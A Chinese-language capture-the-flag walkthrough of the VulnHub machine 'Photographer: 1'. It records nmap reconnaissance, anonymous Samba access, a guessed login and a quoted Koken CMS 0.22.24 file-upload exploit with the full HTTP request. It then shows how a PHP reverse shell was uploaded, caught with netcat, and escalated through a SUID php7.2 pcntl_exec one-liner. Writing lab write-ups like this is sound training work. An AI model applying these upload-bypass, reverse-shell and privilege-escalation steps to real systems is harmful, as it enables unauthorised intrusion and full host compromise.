vulnhub靶机-Photographer: 1
1、找到靶机ip：192.168.8.168
nmap -sn 192.168.8.0/24
2、扫描靶机端口
root@kali:~# nmap -A -p- 192.168.8.168
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for photographer (192.168.8.168)
Host is up (0.00051s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Photographer by v1n1v131r4
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Koken 0.22.24
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: daisa ahomi
|_http-trane-info: Problem with XML parsing of /evox/about
MAC Address: 08:00:27:76:CD:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Host script results:
|_clock-skew: mean: 1h19m58s, deviation: 2h18m33s, median: -1s
|_nbstat: NetBIOS name: PHOTOGRAPHER, NetBIOS user: , NetBIOS MAC: (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: photographer
| NetBIOS computer name: PHOTOGRAPHER\x00
| Domain name: \x00
| FQDN: photographer
|_ System time: 2020-08-09T07:26:29-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-08-09T11:26:29
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 0.51 ms photographer (192.168.8.168)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.28 seconds
root@kali:~# 3、先尝试匿名连接一下samba服务器，发现成功访问，一个文件和一个wp网站备份压缩包
双击一下mailsend.txt文件查看内容，发现是一封邮件，是agi发给daisa的，有两个邮箱地址，内容大概就是告诉daisa你的网站已经搭建好了，然后说了不要忘记你的秘密，my babygirl。这里的信息就先收集到这
Message-ID: <[email protected]>
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;) 4、接着访问一下80端口，就是一个静态页面，能点的基本上都是空跳转，能跳转的也是一个静态页面，就先不扫描目录
5、然后访问一下8000端口，谷歌插件wappalyzer识别出这个网站的指纹是koken cms
直接去漏洞库搜索一下该cms的漏洞，发现有一个任意文件上传漏洞而且版本符合
# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
# Date: 2020-07-15
# Exploit Author: v1n1v131r4
# Vendor Homepage: http://koken.me/
# Software Link: https://www.softaculous.com/apps/cms/Koken
# Version: 0.22.24
# Tested on: Linux
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md
The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.
Steps to exploit:
1. Create a malicious PHP file with this content:
2. Save as "image.php.jpg"
3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.
4. On Burp, rename your file to "image.php"
POST /koken/api.php?/content HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/koken/admin/
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551
Content-Length: 1043
Connection: close
Cookie: PHPSESSID= [Cookie value here]
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="name"
image.php
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunk"
0
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunks"
1
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="upload_session_start"
1594831856
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="visibility"
public
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="license"
all
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="max_download"
none
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="file"; filename="image.php"
Content-Type: image/jpeg
-----------------------------2391361183188899229525551--
5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.要想利用这个漏洞需要先登录后台，后台路径就是直接在后面加上admin，账号是邮箱
之前首页有daisa的名字，应该就是agi给daisa搭建的那个网站，邮箱应该就是[email protected]，密码猜测是babygirl，最后尝试成功登录，一共有两个文件，一个是我做的时候上传的，一个是本来就有的，应该是作者自己测试时上传的反弹shell的脚本
重做一遍，先在本地准备好要上传的脚本，使用kali自带的php反弹shell的脚本，复制到根目录，改后缀名为jpg，修改一下里面的ip和端口号
cp /usr/share/webshells/php/php-reverse-shell.php ~/chounana.php.jpg然后在浏览器点击右下角的import content
会弹出一个框，点击下图中的这个区域，可以上传文件
选择刚刚复制好的chounana.php.jpg
打开burpsuite开启抓包，点击import，删除文件后缀名.jpg，
本地开启监听
nc -lvnp 4444成功上传chounana.php，点击该资源，然后点击download file
成功接收到反弹的shell，python获取tty
6、访问一下daisa的家目录，发现user.txt文件，得到第一个flag
7、查找拥有suid权限的文件，发现有个php7.2的二进制文件
www-data@photographer:/home/daisa$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/php7.2
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/bin/ntfs-3g
/bin/ping
/bin/fusermount
/bin/mount
/bin/ping6
/bin/umount
/bin/su
www-data@photographer:/home/daisa$ 使用php命令提权
/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"www-data@photographer:/home/daisa$ /usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
8、参考文章：https://medium.com/@chicxulub/photographer-1-walkthrough-vulnhub-f3a1426fe4ed